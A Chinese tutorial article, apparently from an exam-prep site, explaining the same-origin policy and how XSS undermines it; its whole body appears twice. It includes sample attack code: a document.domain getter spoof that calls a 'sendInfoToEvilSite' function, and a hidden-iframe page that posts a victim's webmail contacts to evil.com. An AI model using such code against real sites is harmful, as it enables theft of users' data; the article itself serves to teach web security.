学历|
高考
中考
考研
自考
成考
外语|
CET6
职称英语
商务英语
公共英语
资格|
公务员
报关员
银行
证券
司法
导游
教师
计算机|
等考
软考
工程|
一建
二建
造价师
监理师
咨询师
安全师
结构师
估价师
造价员
会计|
会计证
中级会计
注会
经济师
税务师
医学|
卫生资格
医师
药师
[更多]
系统数据:跨站脚本攻击XSS深入解析
跨站脚本的名称源自于这样一个事实，即一个Web站点可以把他们的选择的代码越过安全边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的浏览器中执行时，攻击者就能窃取相应的敏感数据，并强迫用户做一些用户非本意的事情。
在本文中，我们论述浏览器方面的安全措施，以及如何利用跨站脚本攻击(XSS)这种常见的技术来规避浏览器的安全措施。在正式讨论跨站脚本攻击之前，我们必须首先要对现有的安全措施有所了解，所以本文将详细介绍当前Web应用所采取的安全措施，如同源策略、cookie安全模型以及Flash的安全模型。
一、Web安全模型
尽管浏览器的安全措施多种多样，但是要想黑掉一个Web应用，只要在浏览器的多种安全措施中找到某种措施的一个漏洞或者绕过一种安全措施的方法即可。浏览器的各种保安措施之间都试图保持相互独立，但是攻击者只要能在出错的地方注入少许JavaScript，所有安全控制几乎全部瓦解——最后还起作用的就是最弱的安全防线：同源策略。同源策略管辖着所有保安措施，然而，由于浏览器及其插件，诸如Acrobat Reader、Flash 和Outlook Express漏洞频出，致使同源策略也频频告破。在本文里，我们主要讨论浏览器的三个安全模型：
1.同源策略
2.cookies安全模型
3.Flash安全模型
此外，我们还会介绍如何利用JavaScript代码削弱这些安全模型的方法。
二、同源策略
同源策略又名同域策略是浏览器中的主要安全措施。这里的“源”指的是主机名、协议和端口号的组合;我们可以把一个“源”看作是某个web页面或浏览器所浏览的信息的创建者。 同源策略，简单地说就是要求动态内容(例如，JavaScript或者VBScript)只能阅读与之同源的那些HTTP应答和cookies，而不能阅读来自不同源的内容。更为有趣的是，同源策略对写操作没有任何限制。因而，一个web站点可以向任何其他的Web站点发送(或写入)HTTP请求，尽管为了防止跨站请求可能会对发送这些请求有关的cookies和头部有所限制。
解释同源策略的最好的方法是实例说明。假定我们在网页http://foo.com/bar/baz.html中放上了JavaScript代码。那么，这些JavaScript可以读/写一些页面，但是却不能读/写其他页面。下表说明了来自http://foo.com/bar/baz.html的JavaScript可以访问哪些URL。
URL 能否访问这个URL 原因
http://foo.com/index.html
可以。
协议和主机名匹配。
端口没有显式说明。
该端口被假设为80。注意，两者的目录是不同的。这个目录是/而非/bar。
http://foo.com/cgi-bin/version2/webApp
可以。 协议和主机名匹配。
端口没有显式说明。
该端口被假设为80。注意目录的区别这里的目录是/cgi-bin/version2，而非上面的/bar。
http://foo.com:80/bar/baz.html 可以。 具有几乎相同的URL，HTTP协议匹配，端口是80(HTTP默认的端口)，主机名也一样。
https://foo.com/bar/baz.html
不可以。 协议不同，这里使用的协议是HTTPS。
http://www.foo.com/bar/baz.html
不可以。 两个主机名不同，这里的主机名是www.foo.com而不是foo.com。
http://foo.com:8080/bar/baz.html 不可以。 两个端口号不同。这里的端口是8080，而前面的端口被假定为80。
上表说明了当http://foo.com/bar/baz.html试图加载某些URL时同源策略的工作情况。下面我们介绍同源策略的例外。通过在被请求的页面中对JavaScript的变量document.domain进行相应设置，可以使浏览器有限度地违反同源策略，即，如果http://www.foo.com/bar/baz.html页面中含有下列内容：
<script >
document.domain = "foo.com";
</script >
那么任何http://xyz.foo.com/anywhere.html页面内的脚本都可以向http://www.foo.com/bar/baz.html发送HTTP请求，并可以读取其内容。在此种情况下，如果攻击者能够向http://xyz.foo.com/anywhere.html中注入HTML或JavaScript的话，那么他同时也能在http://www.foo.com/bar/baz.html中注入JavaScript代码。
为此，攻击者需要首先在http://xyz.foo.com/anywhere.html(其document.domain设为foo.com)中注入HTML和JavaScript，并向http://www.foo.com/bar/baz.html(其document.domain也设为foo.com)中载入一个iframe，然后就可以通过JavaScript来访问该iframe的内容了。例如，http://xyz.foo.com/anywhere.html中的下列代码将在www.foo.com域中执行一个JavaScript的alert()函数：
<iframe src="http://www.foo.com/bar/baz.html"
></iframe>
这样，document.domain将允许攻击者跨域活动(域际旅行)。注意，你不能在document.domain变量中放入任何域名，相反，只能在document.domain变量中放置“源”页面即所在页面的域名的上级域名，如www.foo.com的上级域名是foo.com 。
在Firefox浏览器中，攻击者可以利用__defineGetter__()来操纵document.domain，命令document.domain返回攻击者所选的任意字符串。这个不会损害浏览器的同源策略，因为它只对JavaScript引擎有影响，而不会影响底层的文档对象模型(DOM)，然而这对于依靠document.domain在后台进行跨域请求的JavaScript应用程序却是有影响的。例如，假如一个后台请求http://somesite.com/GetInformation?callback=callbackFunction的应答的HTTP体如下所示：
function callbackFunction() {
if ( document.domain == "safesite.com") {
return "Confidential Information";
}
return "Unauthorized";
}
通过诱骗受害者访问(攻击者的)包含下列脚本的页面，攻击者就可以可以获得保密资料：
<script>
function callbackFunction() {return 0;}
document.__defineGetter__("domain", function() {return "safesite.com"});
setTimeout("sendInfoToEvilSite(callbackFunction())",1500);
< / script >
<script src="http://somesite.com/GetInformation?callback=callbackFunction">
</script>
这段HTML代码利用__defineGetter__()对document.domain进行了设置，并且建立了一个针对http://somesite.com/GetInformation?callback=callbackFunction的跨域请求。最后，它会在1.5秒——对于浏览器建立到达somesite.com的请求来说，这个时间已经够宽裕了——之后调用sendInfoToEvilSite(callbackFunction())。因此，我们不应扩展document.domain来用作它用。
如果同源策略失守，后果如何?同源策略使得一个“邪恶的”Web 站点无法访问其它的Web 站点，然而，一旦同源策略被攻破，后果将会如何?攻击者将可以作哪些事情?下面让我们考察一个假想的例子。
假如一位攻击者在http://www.evil.com/index.html建立了一个页面，该页面可以阅读来自其它域的HTTP应答，例如来自一个webmail应用程序的应答等，并且攻击者可以诱骗webmail用户访问http://www.evil.com/index.html。那么，攻击者将能阅读受骗用户的通信录。 为此，攻击者可以在http://www.evil.com/index.html中放入
下列JavaScript代码：
<html>
<body>
<iframe style="display:none" name="WebmailIframe"
src="http://webmail.foo.com/ViewContacts"> <!-- Step 1 -->
</iframe>
<form action="http://evil.com/getContactList" name=”EvilForm">
<input type="hidden" name="contacts" value="default value">
</form>
现在，您所有联系人都已经落入我们的手中了。
</body>
<script>
function doEvil() {
var victimsContactList = document.WebmailIframe.innerHtml; /* Step 3 */
document.EvilForm.contacts = victimsContactList;
document.EvilForm.submit;
}
setTimeout("doEvil()", 1000); /* Step 2 */
</script>
</html>
第一步使用了一个名为WebmailIframe的iframe来装载http://webmail.foo.com/ViewContacts，它是webmail应用程序中的一个调用，用以收集用户的联系人名单。
第二步是等待1秒钟，然后执行JavaScript函数doEvil()。这个延迟能确保联系人名单被装载到iframe中。确认联系人名单已经被装载到iframe之后，doEvil()尝试访问在步骤三中的iframe得到的数据。如果同源策略被攻陷或不存在的话，攻击者就已经在变量victimsContactList得到了受害者的联系人名单。 攻击者可以利用JavaScript和该页面的表单将联系人名单发送至evil.com的服务器。
如果攻击者利用跨站请求伪造(CSRF)技术以受害者的名义向所有联系人发送电子邮件的话，情况会变得更糟：这些联系人将收到一封貌似来自朋友的电子邮件，并且在邮件中邀请他们点击http://www.evil.com/index.html。
注意，如果同源策略失守的话，那么任何Web应用都容易受到攻击，而不仅仅是Webmail应用。 这时Web将没有安全可言，目前的许多安全研究的焦点都集中在攻破同源策略上面。 过不了多久，您就会有惊奇的发现。
在本文中，我们论述浏览器方面的安全措施，以及如何利用跨站脚本攻击(XSS)这种常见的技术来规避浏览器的安全措施。在正式讨论跨站脚本攻击之前，我们必须首先要对现有的安全措施有所了解，所以本文将详细介绍当前Web应用所采取的安全措施，如同源策略、cookie安全模型以及Flash的安全模型。
一、Web安全模型
尽管浏览器的安全措施多种多样，但是要想黑掉一个Web应用，只要在浏览器的多种安全措施中找到某种措施的一个漏洞或者绕过一种安全措施的方法即可。浏览器的各种保安措施之间都试图保持相互独立，但是攻击者只要能在出错的地方注入少许JavaScript，所有安全控制几乎全部瓦解——最后还起作用的就是最弱的安全防线：同源策略。同源策略管辖着所有保安措施，然而，由于浏览器及其插件，诸如Acrobat Reader、Flash 和Outlook Express漏洞频出，致使同源策略也频频告破。在本文里，我们主要讨论浏览器的三个安全模型：
1.同源策略
2.cookies安全模型
3.Flash安全模型
此外，我们还会介绍如何利用JavaScript代码削弱这些安全模型的方法。
二、同源策略
同源策略又名同域策略是浏览器中的主要安全措施。这里的“源”指的是主机名、协议和端口号的组合;我们可以把一个“源”看作是某个web页面或浏览器所浏览的信息的创建者。 同源策略，简单地说就是要求动态内容(例如，JavaScript或者VBScript)只能阅读与之同源的那些HTTP应答和cookies，而不能阅读来自不同源的内容。更为有趣的是，同源策略对写操作没有任何限制。因而，一个web站点可以向任何其他的Web站点发送(或写入)HTTP请求，尽管为了防止跨站请求可能会对发送这些请求有关的cookies和头部有所限制。
解释同源策略的最好的方法是实例说明。假定我们在网页http://foo.com/bar/baz.html中放上了JavaScript代码。那么，这些JavaScript可以读/写一些页面，但是却不能读/写其他页面。下表说明了来自http://foo.com/bar/baz.html的JavaScript可以访问哪些URL。
URL 能否访问这个URL 原因
http://foo.com/index.html
可以。
协议和主机名匹配。
端口没有显式说明。
该端口被假设为80。注意，两者的目录是不同的。这个目录是/而非/bar。
http://foo.com/cgi-bin/version2/webApp
可以。 协议和主机名匹配。
端口没有显式说明。
该端口被假设为80。注意目录的区别这里的目录是/cgi-bin/version2，而非上面的/bar。
http://foo.com:80/bar/baz.html 可以。 具有几乎相同的URL，HTTP协议匹配，端口是80(HTTP默认的端口)，主机名也一样。
https://foo.com/bar/baz.html
不可以。 协议不同，这里使用的协议是HTTPS。
http://www.foo.com/bar/baz.html
不可以。 两个主机名不同，这里的主机名是www.foo.com而不是foo.com。
http://foo.com:8080/bar/baz.html 不可以。 两个端口号不同。这里的端口是8080，而前面的端口被假定为80。
上表说明了当http://foo.com/bar/baz.html试图加载某些URL时同源策略的工作情况。下面我们介绍同源策略的例外。通过在被请求的页面中对JavaScript的变量document.domain进行相应设置，可以使浏览器有限度地违反同源策略，即，如果http://www.foo.com/bar/baz.html页面中含有下列内容：
<script >
document.domain = "foo.com";
</script >
那么任何http://xyz.foo.com/anywhere.html页面内的脚本都可以向http://www.foo.com/bar/baz.html发送HTTP请求，并可以读取其内容。在此种情况下，如果攻击者能够向http://xyz.foo.com/anywhere.html中注入HTML或JavaScript的话，那么他同时也能在http://www.foo.com/bar/baz.html中注入JavaScript代码。
为此，攻击者需要首先在http://xyz.foo.com/anywhere.html(其document.domain设为foo.com)中注入HTML和JavaScript，并向http://www.foo.com/bar/baz.html(其document.domain也设为foo.com)中载入一个iframe，然后就可以通过JavaScript来访问该iframe的内容了。例如，http://xyz.foo.com/anywhere.html中的下列代码将在www.foo.com域中执行一个JavaScript的alert()函数：
<iframe src="http://www.foo.com/bar/baz.html"
></iframe>
这样，document.domain将允许攻击者跨域活动(域际旅行)。注意，你不能在document.domain变量中放入任何域名，相反，只能在document.domain变量中放置“源”页面即所在页面的域名的上级域名，如www.foo.com的上级域名是foo.com 。
在Firefox浏览器中，攻击者可以利用__defineGetter__()来操纵document.domain，命令document.domain返回攻击者所选的任意字符串。这个不会损害浏览器的同源策略，因为它只对JavaScript引擎有影响，而不会影响底层的文档对象模型(DOM)，然而这对于依靠document.domain在后台进行跨域请求的JavaScript应用程序却是有影响的。例如，假如一个后台请求http://somesite.com/GetInformation?callback=callbackFunction的应答的HTTP体如下所示：
function callbackFunction() {
if ( document.domain == "safesite.com") {
return "Confidential Information";
}
return "Unauthorized";
}
通过诱骗受害者访问(攻击者的)包含下列脚本的页面，攻击者就可以可以获得保密资料：
<script>
function callbackFunction() {return 0;}
document.__defineGetter__("domain", function() {return "safesite.com"});
setTimeout("sendInfoToEvilSite(callbackFunction())",1500);
< / script >
<script src="http://somesite.com/GetInformation?callback=callbackFunction">
</script>
这段HTML代码利用__defineGetter__()对document.domain进行了设置，并且建立了一个针对http://somesite.com/GetInformation?callback=callbackFunction的跨域请求。最后，它会在1.5秒——对于浏览器建立到达somesite.com的请求来说，这个时间已经够宽裕了——之后调用sendInfoToEvilSite(callbackFunction())。因此，我们不应扩展document.domain来用作它用。
如果同源策略失守，后果如何?同源策略使得一个“邪恶的”Web 站点无法访问其它的Web 站点，然而，一旦同源策略被攻破，后果将会如何?攻击者将可以作哪些事情?下面让我们考察一个假想的例子。
假如一位攻击者在http://www.evil.com/index.html建立了一个页面，该页面可以阅读来自其它域的HTTP应答，例如来自一个webmail应用程序的应答等，并且攻击者可以诱骗webmail用户访问http://www.evil.com/index.html。那么，攻击者将能阅读受骗用户的通信录。 为此，攻击者可以在http://www.evil.com/index.html中放入
下列JavaScript代码：
<html>
<body>
<iframe style="display:none" name="WebmailIframe"
src="http://webmail.foo.com/ViewContacts"> <!-- Step 1 -->
</iframe>
<form action="http://evil.com/getContactList" name=”EvilForm">
<input type="hidden" name="contacts" value="default value">
</form>
现在，您所有联系人都已经落入我们的手中了。
</body>
<script>
function doEvil() {
var victimsContactList = document.WebmailIframe.innerHtml; /* Step 3 */
document.EvilForm.contacts = victimsContactList;
document.EvilForm.submit;
}
setTimeout("doEvil()", 1000); /* Step 2 */
</script>
</html>
第一步使用了一个名为WebmailIframe的iframe来装载http://webmail.foo.com/ViewContacts，它是webmail应用程序中的一个调用，用以收集用户的联系人名单。
第二步是等待1秒钟，然后执行JavaScript函数doEvil()。这个延迟能确保联系人名单被装载到iframe中。确认联系人名单已经被装载到iframe之后，doEvil()尝试访问在步骤三中的iframe得到的数据。如果同源策略被攻陷或不存在的话，攻击者就已经在变量victimsContactList得到了受害者的联系人名单。 攻击者可以利用JavaScript和该页面的表单将联系人名单发送至evil.com的服务器。
如果攻击者利用跨站请求伪造(CSRF)技术以受害者的名义向所有联系人发送电子邮件的话，情况会变得更糟：这些联系人将收到一封貌似来自朋友的电子邮件，并且在邮件中邀请他们点击http://www.evil.com/index.html。
注意，如果同源策略失守的话，那么任何Web应用都容易受到攻击，而不仅仅是Webmail应用。 这时Web将没有安全可言，目前的许多安全研究的焦点都集中在攻破同源策略上面。 过不了多久，您就会有惊奇的发现。
视频学习
我考网版权与免责声明
① 凡本网注明稿件来源为"原创"的所有文字、图片和音视频稿件，版权均属本网所有。任何媒体、网站或个人转载、链接转贴或以其他方式复制发表时必须注明"稿件来源：我考网"，违者本网将依法追究责任；
② 本网部分稿件来源于网络，任何单位或个人认为我考网发布的内容可能涉嫌侵犯其合法权益，应该及时向我考网书面反馈，并提供身份证明、权属证明及详细侵权情况证明，我考网在收到上述法律文件后，将会尽快移除被控侵权内容。
